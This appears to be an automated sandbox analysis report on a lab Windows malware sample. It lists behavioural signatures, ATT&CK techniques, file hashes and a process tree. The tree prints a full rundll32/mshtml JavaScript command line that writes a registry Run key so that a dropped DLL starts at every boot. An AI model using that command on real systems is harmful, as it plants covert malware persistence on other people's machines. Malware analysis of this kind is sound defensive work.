3d445366066d1c084f489995e476abe8e1204fa1918468868c4f90cabd2e5817

General

Target

lab_02_win10x64/6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

6 1232 rundll32.exe
7 1232 rundll32.exe
8 1232 rundll32.exe
9 1232 rundll32.exe
10 1232 rundll32.exe
11 1232 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1232 rundll32.exe
1232 rundll32.exe
1232 rundll32.exe
1232 rundll32.exe

flow	pid	process
6	1232	rundll32.exe
7	1232	rundll32.exe
8	1232	rundll32.exe
9	1232	rundll32.exe
10	1232	rundll32.exe
11	1232	rundll32.exe

pid	process
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe
1232	rundll32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\CheckDone = "RunDll32.exe \"C:\\Windows\\System32\\api-ms-win-core-advapi-l1-1-0.dll\",init"	rundll32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe

description	ioc	process
File created	C:\Windows\SysWOW64\api-ms-win-core-advapi-l1-1-0.dll	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

rundll32.exe

pid process

1232 rundll32.exe

pid	process
1232	rundll32.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe

description	pid	process	target process
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1948	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1832 wrote to memory of 1232	1832	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\lab_02_win10x64\6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
"C:\Users\Admin\AppData\Local\Temp\lab_02_win10x64\6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\CheckDone","RunDll32.exe%20\"C:\\Windows\\System32\\api-ms-win-core-advapi-l1-1-0.dll\",init","REG_SZ")+"\74/script>")
2⤵
- Adds Run key to start application
PID:1948

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll",init
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
PID:1232

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll
MD5
75f71713a429589e87cf2656107d2bfc

SHA1
f7608ef62a45822e9300d390064e667028b75dea

SHA256
b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9

SHA512
cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93

Download Submit
\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll
MD5
75f71713a429589e87cf2656107d2bfc

SHA1
f7608ef62a45822e9300d390064e667028b75dea

SHA256
b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9

SHA512
cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93

Download Submit
\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll
MD5
75f71713a429589e87cf2656107d2bfc

SHA1
f7608ef62a45822e9300d390064e667028b75dea

SHA256
b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9

SHA512
cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93

Download Submit
\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll
MD5
75f71713a429589e87cf2656107d2bfc

SHA1
f7608ef62a45822e9300d390064e667028b75dea

SHA256
b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9

SHA512
cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93

Download Submit
\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll
MD5
75f71713a429589e87cf2656107d2bfc

SHA1
f7608ef62a45822e9300d390064e667028b75dea

SHA256
b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9

SHA512
cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93

Download Submit
memory/1232-63-0x0000000000000000-mapping.dmp

Download
memory/1832-60-0x0000000075801000-0x0000000075803000-memory.dmp

Filesize
8KB

Download
memory/1948-61-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads